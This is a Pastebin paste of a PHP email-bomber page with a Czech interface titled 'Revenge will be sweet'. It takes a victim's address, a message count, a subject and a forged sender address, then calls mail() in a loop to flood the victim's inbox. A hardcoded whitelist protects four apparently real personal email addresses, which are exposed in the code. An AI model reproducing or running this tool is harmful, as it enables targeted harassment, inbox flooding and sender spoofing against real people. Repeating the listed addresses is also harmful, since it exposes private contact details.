Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $whitelist = array("vita@mafyje.com","musiljan95@seznam.cz","lk.teply@gmail.com","eagle26@seznam.cz");
- if(isset($_POST['to']))
- {
- ob_start();
- $to = $_POST["to"];
- $subject = $_POST["subject"];
- $message = $_POST["message"];
- $from = $_POST["from"];
- $amount = $_POST["amount"];
- $chyba = 0;
- if($to == "")
- {
- echo "<h3>Musíš zadat email oběti.</h3>";
- $chyba = 1;
- }
- if($subject == "")
- {
- echo "<h3>Musíš zadat předmět.</h3>";
- $chyba = 1;
- }
- if($message == "")
- {
- echo "<h3>Musíš zadat zprávu.</h3>";
- $chyba = 1;
- }
- if($from == "")
- {
- echo "<h3>Musíš zadat od koho to bude.</h3>";
- $chyba = 1;
- }
- if($amount <= 0)
- {
- echo "<h3>Musíš zadat počet zpráv nebo jich musí být vic jak 0.</h3>";
- $chyba = 1;
- }
- if(in_array($to,$whitelist))
- {
- echo "<h3>Na tenhle mail to poslat nemuzes.</h3>";
- $chyba = 1;
- }
- if(!$chyba)
- {
- $i = 0;
- while ($i < $amount)
- {
- mail($to, $subject, $message, "From: ".$from);
- $i++;
- }
- }
- $errormsg = ob_get_contents();
- ob_end_clean();
- }
- ?>
- <html>
- <head>
- <link href = "favicon.PNG" rel="icon" type="image/png"></href>
- <meta http-equiv = "Content-Type" content = "text/html; charset = Windows-1250"></meta>
- <title>Pomsta bude sladká</title>
- <body bgcolor = "black">
- <style type = "text/css">
- body,td,th {
- color: #00CC00;
- }
- </style>
- <div align = "center">
- <?php echo $errormsg; ?>
- <form action = "" method = "post">
- </br>
- </br>
- Oběť</br><input type = "text" name = "to"></input>
- </br>
- </br>
- Kolik:</br><input type = "text" name = "amount"></input>
- </br>
- </br>
- Předmět:</br><input type = "text" name = "subject"></input>
- </br>
- </br>
- Od koho:</br><input type = "text" name = "from"></input>
- </br>
- </br>
- Zpráva:</br><textarea name = "message" rows = "5" cols = "23"></textarea>
- </br>
- </br>
- <input type = "submit" value = "Odešli!"></input>
- </br>
- <input type = "reset" value = "Smaž všechno!">
- </div>
- </form>
- </body>
- </head>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement